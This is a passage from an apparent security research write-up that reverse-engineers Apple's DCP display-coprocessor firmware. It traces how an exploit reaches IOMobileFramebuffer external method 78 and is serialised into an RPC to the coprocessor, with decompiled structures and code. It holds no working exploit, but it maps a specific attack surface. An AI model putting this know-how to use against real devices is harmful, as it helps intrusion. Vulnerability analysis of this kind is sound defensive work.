<p class="HovzfPYjjR-c3 HovzfPYjjR-c8"><span>That </span><span class="HovzfPYjjR-c7">cputype</span><span> is plain </span><span class="HovzfPYjjR-c7">arm64</span><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"> (ArmV8) without pointer authentication support. The binary is fairly large (3.7MB) and IDA's autoanalysis detects over 7000 functions.</span></p>
<p class="c3 c8 c10"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"></span></p><br>
<p class="HovzfPYjjR-c3 HovzfPYjjR-c8"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2">With any brand new binary I usually start with a brief look through the function names and the strings. The binary is stripped so there are no function name symbols but there are plenty of C++ function names as strings:</span></p>
<p class="c3 c8 c10"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"></span></p><br>
<p class="HovzfPYjjR-c3 HovzfPYjjR-c8"><img /></p>
<p class="HovzfPYjjR-c3 HovzfPYjjR-c8"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhY8rBSaTDR2W5pSgk9ssaCqN8M8Nuhd5_x6FkNSqOI-jRDFVab_jrrkZlN1DS2FKf9zeAPPDFkE30kNCPpN3PES9RdvBLj4L6G78zq134bTQcR1VEe7J30tYPoqqZ82z1cPwUcvF2wzfoOEbDf3l_4ucxpuOZFC2NLyrMYV_luJ_5dysxanajqsi-N/s1830/Screenshot%202022-06-22%20at%2016.53.26.png" style="display: block; padding: 1em 0; text-align: center;"><img alt="A short list of C++ prototypes like IOMFB::UPBlock_ALSS::init(IOMFB::UPPipe *)." border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhY8rBSaTDR2W5pSgk9ssaCqN8M8Nuhd5_x6FkNSqOI-jRDFVab_jrrkZlN1DS2FKf9zeAPPDFkE30kNCPpN3PES9RdvBLj4L6G78zq134bTQcR1VEe7J30tYPoqqZ82z1cPwUcvF2wzfoOEbDf3l_4ucxpuOZFC2NLyrMYV_luJ_5dysxanajqsi-N/s1200/Screenshot%202022-06-22%20at%2016.53.26.png" style="max-height: 750; max-width: 600px;" title="A short list of C++ prototypes like IOMFB::UPBlock_ALSS::init(IOMFB::UPPipe *)." /></a></span></p>
<p class="HovzfPYjjR-c3 HovzfPYjjR-c8"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2">The cross-references to those strings look like this:</span></p>
<p class="c3 c8 c10"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"></span></p><br><a id="t.c7f36f1411586a1b165d5a48e181a07b7b9d07a6"></a><a id="t.0"></a><table class="HovzfPYjjR-c20"><tr class="HovzfPYjjR-c18"><td class="HovzfPYjjR-c13" colspan="1" rowspan="1">
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0">log</span><span class="HovzfPYjjR-c1">(</span><span class="HovzfPYjjR-c4">0x40000001LL</span><span class="HovzfPYjjR-c1">,</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c22">"UPBlock_ALSS.cpp"</span><span class="HovzfPYjjR-c1">,</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c4">341</span><span class="HovzfPYjjR-c1">,</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c22">"%s: capture buffer exhausted, aborting capture\n"</span><span class="HovzfPYjjR-c1">,</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c22">"void IOMFB::UPBlock_ALSS::send_data(uint64_t, uint32_t)"</span><span class="HovzfPYjjR-c1">);</span></p></td></tr></table>
<p class="c3 c8 c10"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"></span></p><br>
<p class="HovzfPYjjR-c3 HovzfPYjjR-c8"><span>This is almost certainly a logging macro which expands </span><span class="HovzfPYjjR-c7">__FILE__</span><span>,</span><span class="HovzfPYjjR-c7"> __LINE__</span><span> and </span><span class="HovzfPYjjR-c7">__PRETTY_FUNCTION__</span><span>. This allows us to start renaming functions and finding vtable pointers.</span></p><h2 class="HovzfPYjjR-c15 HovzfPYjjR-c8" id="h.72tz1dtagcu2"><span class="HovzfPYjjR-c16 HovzfPYjjR-c2">Object structure</span></h2>
<p class="HovzfPYjjR-c3 HovzfPYjjR-c8"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2">From the Asahi linux blog posts we know that the DCP is using an Apple-proprietary RTOS called RTKit for which there is very little public information. There are some strings in the binary with the exact version:</span></p>
<p class="c3 c8 c10"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"></span></p><br>
<p class="HovzfPYjjR-c3 HovzfPYjjR-c8"><span class="HovzfPYjjR-c6 HovzfPYjjR-c2">ADD X8, X8, #aLocalIphone13d@PAGEOFF ; "local-iphone13dcp.release"</span></p>
<p class="HovzfPYjjR-c3 HovzfPYjjR-c8"><span class="HovzfPYjjR-c6 HovzfPYjjR-c2">ADD X9, X9, #aRtkitIos182640@PAGEOFF ; "RTKit_iOS-1826.40.9.debug"</span></p>
<p class="c3 c8 c10"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"></span></p><br>
<p class="HovzfPYjjR-c3 HovzfPYjjR-c8"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2">The code appears to be predominantly C++. There appear to be multiple C++ object hierarchies; those involved with this vulnerability look a bit like IOKit C++ objects. Their common base class looks like this:</span></p>
<p class="c3 c8 c10"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"></span></p><br><a id="t.23741390b29a0e8a199a26eb39699e3e43f7695e"></a><a id="t.1"></a><table class="HovzfPYjjR-c20"><tr class="HovzfPYjjR-c18"><td class="HovzfPYjjR-c13" colspan="1" rowspan="1">
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c9">struct</span><span class="HovzfPYjjR-c0 HovzfPYjjR-c2"> __cppobj RTKIT_RC_RTTI_BASE</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c1">{</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> RTKIT_RC_RTTI_BASE_vtbl </span><span class="HovzfPYjjR-c1">*</span><span class="HovzfPYjjR-c0">__vftable </span><span class="HovzfPYjjR-c30">/*VFT*/</span><span class="HovzfPYjjR-c1">;</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> uint32_t refcnt</span><span class="HovzfPYjjR-c1">;</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> uint32_t </span><span class="HovzfPYjjR-c9">typeid</span><span class="HovzfPYjjR-c1">;</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c1">};</span></p></td></tr></table>
<p class="c3 c8 c10"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"></span></p><br>
<p class="HovzfPYjjR-c3 HovzfPYjjR-c8"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2">(These structure definitions are in the format IDA uses for C++-like objects)</span></p>
<p class="c3 c8 c10"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"></span></p><br>
<p class="HovzfPYjjR-c3 HovzfPYjjR-c8"><span>The </span><span class="HovzfPYjjR-c7">RTKit</span><span> base class has a vtable pointer, a reference count and a four-byte Run Time Type Information (RTTI) field - a 4-byte ASCII identifier like </span><span class="HovzfPYjjR-c7">BLHA</span><span>, </span><span class="HovzfPYjjR-c7">WOLO</span><span>, </span><span class="HovzfPYjjR-c7">MMAP</span><span>, </span><span class="HovzfPYjjR-c7">UNPI</span><span>, </span><span class="HovzfPYjjR-c7">OSST</span><span>, </span><span class="HovzfPYjjR-c7">OSBO</span><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"> and so on. These identifiers look a bit cryptic but they're quite descriptive once you figure them out (and I'll describe the relevant ones as we encounter them.)</span></p>
<p class="c3 c8 c10"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"></span></p><br>
<p class="HovzfPYjjR-c3 HovzfPYjjR-c8"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2">The base type has the following associated vtable:</span></p>
<p class="c3 c8 c10"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"></span></p><br><a id="t.e2f588f986d4c4d814dde7976c00d512e7353bbe"></a><a id="t.2"></a><table class="HovzfPYjjR-c20"><tr class="HovzfPYjjR-c18"><td class="HovzfPYjjR-c13" colspan="1" rowspan="1">
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c9">struct</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c30">/*VFT*/</span><span class="HovzfPYjjR-c0 HovzfPYjjR-c2"> RTKIT_RC_RTTI_BASE_vtbl</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c1">{</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c9">void</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c1">(</span><span class="HovzfPYjjR-c0">__cdecl </span><span class="HovzfPYjjR-c1">*</span><span class="HovzfPYjjR-c0">take_ref</span><span class="HovzfPYjjR-c1">)(</span><span class="HovzfPYjjR-c0">RTKIT_RC_RTTI_BASE </span><span class="HovzfPYjjR-c1">*</span><span class="HovzfPYjjR-c9">this</span><span class="HovzfPYjjR-c1">);</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c9">void</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c1">(</span><span class="HovzfPYjjR-c0">__cdecl </span><span class="HovzfPYjjR-c1">*</span><span class="HovzfPYjjR-c0">drop_ref</span><span class="HovzfPYjjR-c1">)(</span><span class="HovzfPYjjR-c0">RTKIT_RC_RTTI_BASE </span><span class="HovzfPYjjR-c1">*</span><span class="HovzfPYjjR-c9">this</span><span class="HovzfPYjjR-c1">);</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c9">void</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c1">(</span><span class="HovzfPYjjR-c0">__cdecl </span><span class="HovzfPYjjR-c1">*</span><span class="HovzfPYjjR-c0">take_global_type_ref</span><span class="HovzfPYjjR-c1">)(</span><span class="HovzfPYjjR-c0">RTKIT_RC_RTTI_BASE </span><span class="HovzfPYjjR-c1">*</span><span class="HovzfPYjjR-c9">this</span><span class="HovzfPYjjR-c1">);</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c9">void</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c1">(</span><span class="HovzfPYjjR-c0">__cdecl </span><span class="HovzfPYjjR-c1">*</span><span class="HovzfPYjjR-c0">drop_global_type_ref</span><span class="HovzfPYjjR-c1">)(</span><span class="HovzfPYjjR-c0">RTKIT_RC_RTTI_BASE </span><span class="HovzfPYjjR-c1">*</span><span class="HovzfPYjjR-c9">this</span><span class="HovzfPYjjR-c1">);</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c9">void</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c1">(</span><span class="HovzfPYjjR-c0">__cdecl </span><span class="HovzfPYjjR-c1">*</span><span class="HovzfPYjjR-c0">getClassName</span><span class="HovzfPYjjR-c1">)(</span><span class="HovzfPYjjR-c0">RTKIT_RC_RTTI_BASE </span><span class="HovzfPYjjR-c1">*</span><span class="HovzfPYjjR-c9">this</span><span class="HovzfPYjjR-c1">);</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c9">void</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c1">(</span><span class="HovzfPYjjR-c0">__cdecl </span><span class="HovzfPYjjR-c1">*</span><span class="HovzfPYjjR-c0">dtor_a</span><span class="HovzfPYjjR-c1">)(</span><span class="HovzfPYjjR-c0">RTKIT_RC_RTTI_BASE </span><span class="HovzfPYjjR-c1">*</span><span class="HovzfPYjjR-c9">this</span><span class="HovzfPYjjR-c1">);</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c9">void</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c1">(</span><span class="HovzfPYjjR-c0">__cdecl </span><span class="HovzfPYjjR-c1">*</span><span class="HovzfPYjjR-c0">unk</span><span class="HovzfPYjjR-c1">)(</span><span class="HovzfPYjjR-c0">RTKIT_RC_RTTI_BASE </span><span class="HovzfPYjjR-c1">*</span><span class="HovzfPYjjR-c9">this</span><span class="HovzfPYjjR-c1">);</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c1">};</span></p></td></tr></table><h2 class="HovzfPYjjR-c15 HovzfPYjjR-c8" id="h.17hwrgmah5ee"><span class="HovzfPYjjR-c16 HovzfPYjjR-c2">Exploit flow</span></h2>
<p class="HovzfPYjjR-c3 HovzfPYjjR-c8"><span>The exploit running in the app starts by opening an IOKit user client for the </span><span class="HovzfPYjjR-c7">AppleCLCD2</span><span> service. </span><span class="HovzfPYjjR-c7">AppleCLCD</span><span> seems to be the application processor of </span><span class="HovzfPYjjR-c7">IOMobileFrameBuffer</span><span> and </span><span class="HovzfPYjjR-c7">AppleCLCD2</span><span> the </span><span class="HovzfPYjjR-c7">DCP</span><span> version.</span></p>
<p class="c3 c8 c10"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"></span></p><br>
<p class="HovzfPYjjR-c3 HovzfPYjjR-c8"><span>The exploit only calls 3 different external method selectors on the </span><span class="HovzfPYjjR-c7">AppleCLCD2</span><span> user client: </span><span class="HovzfPYjjR-c7">68</span><span>, </span><span class="HovzfPYjjR-c7">78</span><span> and </span><span class="HovzfPYjjR-c7">79</span><span class="HovzfPYjjR-c5 HovzfPYjjR-c2">.</span></p>
<p class="c3 c8 c10"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"></span></p><br>
<p class="HovzfPYjjR-c3 HovzfPYjjR-c8"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2">The one with the largest and most interesting-looking input is 78, which corresponds to this user client method in the kernel driver:</span></p>
<p class="c3 c8 c10"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"></span></p><br><a id="t.c1d0de88bea2ae99b6a4f974f60cac134013db41"></a><a id="t.3"></a><table class="HovzfPYjjR-c20"><tr class="HovzfPYjjR-c18"><td class="HovzfPYjjR-c13" colspan="1" rowspan="1">
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c14">IOReturn</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c14">IOMobileFramebufferUserClient</span><span class="HovzfPYjjR-c1">::</span><span class="HovzfPYjjR-c0">s_set_block</span><span class="HovzfPYjjR-c1">(</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c14">IOMobileFramebufferUserClient</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c1">*</span><span class="HovzfPYjjR-c9">this</span><span class="HovzfPYjjR-c1">,</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c9">void</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c1">*</span><span class="HovzfPYjjR-c0">reference</span><span class="HovzfPYjjR-c1">,</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c14">IOExternalMethodArguments</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c1">*</span><span class="HovzfPYjjR-c0">args</span><span class="HovzfPYjjR-c1">)</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c1">{</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c9">const</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c9">unsigned</span><span class="HovzfPYjjR-c0"> __int64 </span><span class="HovzfPYjjR-c1">*</span><span class="HovzfPYjjR-c0">extra_args</span><span class="HovzfPYjjR-c1">;</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> u8 </span><span class="HovzfPYjjR-c1">*</span><span class="HovzfPYjjR-c0">structureInput</span><span class="HovzfPYjjR-c1">;</span></p>
<p class="HovzfPYjjR-c3 HovzfPYjjR-c10"><span class="HovzfPYjjR-c0 HovzfPYjjR-c2"></span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> structureInput </span><span class="HovzfPYjjR-c1">=</span><span class="HovzfPYjjR-c0"> args</span><span class="HovzfPYjjR-c1">-></span><span class="HovzfPYjjR-c0">structureInput</span><span class="HovzfPYjjR-c1">;</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c9">if</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c1">(</span><span class="HovzfPYjjR-c0"> structureInput </span><span class="HovzfPYjjR-c1">&&</span><span class="HovzfPYjjR-c0"> args</span><span class="HovzfPYjjR-c1">-></span><span class="HovzfPYjjR-c0">scalarInputCount </span><span class="HovzfPYjjR-c1">>=</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c4">2</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c1">)</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c1">{</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c9">if</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c1">(</span><span class="HovzfPYjjR-c0"> args</span><span class="HovzfPYjjR-c1">-></span><span class="HovzfPYjjR-c0">scalarInputCount </span><span class="HovzfPYjjR-c1">==</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c4">2</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c1">)</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> extra_args </span><span class="HovzfPYjjR-c1">=</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c4">0LL</span><span class="HovzfPYjjR-c1">;</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c9">else</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> extra_args </span><span class="HovzfPYjjR-c1">=</span><span class="HovzfPYjjR-c0"> args</span><span class="HovzfPYjjR-c1">-></span><span class="HovzfPYjjR-c0">scalarInput </span><span class="HovzfPYjjR-c1">+</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c4">2</span><span class="HovzfPYjjR-c1">;</span></p>
<p class="HovzfPYjjR-c3 HovzfPYjjR-c10"><span class="HovzfPYjjR-c0 HovzfPYjjR-c2"></span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c9">return</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c9">this</span><span class="HovzfPYjjR-c1">-></span><span class="HovzfPYjjR-c0">framebuffer_ap</span><span class="HovzfPYjjR-c1">-></span><span class="HovzfPYjjR-c0">set_block_dcp</span><span class="HovzfPYjjR-c1">(</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c9">this</span><span class="HovzfPYjjR-c1">-></span><span class="HovzfPYjjR-c0">task</span><span class="HovzfPYjjR-c1">,</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> args</span><span class="HovzfPYjjR-c1">-></span><span class="HovzfPYjjR-c0">scalarInput</span><span class="HovzfPYjjR-c1">[</span><span class="HovzfPYjjR-c4">0</span><span class="HovzfPYjjR-c1">],</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> args</span><span class="HovzfPYjjR-c1">-></span><span class="HovzfPYjjR-c0">scalarInput</span><span class="HovzfPYjjR-c1">[</span><span class="HovzfPYjjR-c4">1</span><span class="HovzfPYjjR-c1">],</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> extra_args</span><span class="HovzfPYjjR-c1">,</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> args</span><span class="HovzfPYjjR-c1">-></span><span class="HovzfPYjjR-c0">scalarInputCount </span><span class="HovzfPYjjR-c1">-</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c4">2</span><span class="HovzfPYjjR-c1">,</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> structureInput</span><span class="HovzfPYjjR-c1">,</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> args</span><span class="HovzfPYjjR-c1">-></span><span class="HovzfPYjjR-c0">structureInputSize</span><span class="HovzfPYjjR-c1">);</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c1">}</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c9">else</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c1">{</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c9">return</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c4">0xE00002C2</span><span class="HovzfPYjjR-c1">;</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c1">}</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c1">}</span></p></td></tr></table>
<p class="c3 c8 c10"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"></span></p><br>
<p class="HovzfPYjjR-c3 HovzfPYjjR-c8"><span>this unpacks the </span><span class="HovzfPYjjR-c7">IOConnectCallMethod</span><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"> arguments and passes them to:</span></p>
<p class="c3 c8 c10"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"></span></p><br><a id="t.4b4f98b94b8ed8638b5222e4f9d81049bbe69fdb"></a><a id="t.4"></a><table class="HovzfPYjjR-c20"><tr class="HovzfPYjjR-c18"><td class="HovzfPYjjR-c13" colspan="1" rowspan="1">
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c14">IOMobileFramebufferAP</span><span class="HovzfPYjjR-c1">::</span><span class="HovzfPYjjR-c0">set_block_dcp</span><span class="HovzfPYjjR-c1">(</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c14">IOMobileFramebufferAP</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c1">*</span><span class="HovzfPYjjR-c9">this</span><span class="HovzfPYjjR-c1">,</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> task </span><span class="HovzfPYjjR-c1">*</span><span class="HovzfPYjjR-c0">task</span><span class="HovzfPYjjR-c1">,</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c9">int</span><span class="HovzfPYjjR-c0"> first_scalar_input</span><span class="HovzfPYjjR-c1">,</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c9">int</span><span class="HovzfPYjjR-c0"> second_scalar_input</span><span class="HovzfPYjjR-c1">,</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c9">const</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c9">unsigned</span><span class="HovzfPYjjR-c0"> __int64 </span><span class="HovzfPYjjR-c1">*</span><span class="HovzfPYjjR-c0">pointer_to_remaining_scalar_inputs</span><span class="HovzfPYjjR-c1">,</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c9">unsigned</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c9">int</span><span class="HovzfPYjjR-c0"> scalar_input_count_minus_2</span><span class="HovzfPYjjR-c1">,</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c9">const</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c9">unsigned</span><span class="HovzfPYjjR-c0"> __int8 </span><span class="HovzfPYjjR-c1">*</span><span class="HovzfPYjjR-c0">struct_input</span><span class="HovzfPYjjR-c1">,</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c9">unsigned</span><span class="HovzfPYjjR-c0"> __int64 struct_input_size</span><span class="HovzfPYjjR-c1">)</span></p></td></tr></table>
<p class="c3 c8 c10"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"></span></p><br>
<p class="HovzfPYjjR-c3 HovzfPYjjR-c8"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2">This method uses some autogenerated code to serialise the external method arguments into a buffer like this: </span></p>
<p class="c3 c8 c10"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"></span></p><br><a id="t.26b4f1ef327e79bf7a370b395d86bddb90eb464f"></a><a id="t.5"></a><table class="HovzfPYjjR-c20"><tr class="HovzfPYjjR-c18"><td class="HovzfPYjjR-c13" colspan="1" rowspan="1">
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0">arg_struct</span><span class="HovzfPYjjR-c1">:</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c1">{</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c9">struct</span><span class="HovzfPYjjR-c0"> task</span><span class="HovzfPYjjR-c1">*</span><span class="HovzfPYjjR-c0 HovzfPYjjR-c2"> task</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0 HovzfPYjjR-c2"> u64 scalar_input_0</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0 HovzfPYjjR-c2"> u64 scalar_input_1</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> u64</span><span class="HovzfPYjjR-c1">[]</span><span class="HovzfPYjjR-c0 HovzfPYjjR-c2"> remaining_scalar_inputs</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0 HovzfPYjjR-c2"> u64 cntExtraScalars</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> u8</span><span class="HovzfPYjjR-c1">[]</span><span class="HovzfPYjjR-c0 HovzfPYjjR-c2"> structInput</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> u64 </span><span class="HovzfPYjjR-c14">CntStructInput</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c1">}</span></p></td></tr></table>
<p class="c3 c8 c10"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"></span></p><br>
<p class="HovzfPYjjR-c3 HovzfPYjjR-c8"><span>which is then passed to </span><span class="HovzfPYjjR-c7">UnifiedPipeline2::rpc</span><span> along with a 4-byte ASCII method identifier ('</span><span class="HovzfPYjjR-c7">A435</span><span class="HovzfPYjjR-c5 HovzfPYjjR-c2">' here):</span></p>
<p class="c3 c8 c10"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"></span></p><br><a id="t.afc7096b3986ce85a82073984786eb19b4fcdb59"></a><a id="t.6"></a><table class="HovzfPYjjR-c20"><tr class="HovzfPYjjR-c18"><td class="HovzfPYjjR-c13" colspan="1" rowspan="1">
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c14">UnifiedPipeline2</span><span class="HovzfPYjjR-c1">::</span><span class="HovzfPYjjR-c0">rpc</span><span class="HovzfPYjjR-c1">(</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c22">'A435'</span><span class="HovzfPYjjR-c1">,</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> arg_struct</span><span class="HovzfPYjjR-c1">,</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c4">0x105Cu</span><span class="HovzfPYjjR-c1">,</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c1">&</span><span class="HovzfPYjjR-c0">retval_buf</span><span class="HovzfPYjjR-c1">,</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c4">4u</span><span class="HovzfPYjjR-c1">);</span></p></td></tr></table>
<p class="c3 c8 c10"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"></span></p><br>
<p class="HovzfPYjjR-c3 HovzfPYjjR-c8"><span class="HovzfPYjjR-c7">UnifiedPipeline2::rpc</span><span> calls </span><span class="HovzfPYjjR-c7">DCPLink::rpc</span><span> which calls </span><span class="HovzfPYjjR-c7">AppleDCPLinkService::rpc</span><span> to perform one more level of serialisation which packs the method identifier and a "stream identifier" together with the </span><span class="HovzfPYjjR-c7">arg_struct</span><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"> shown above.</span></p>
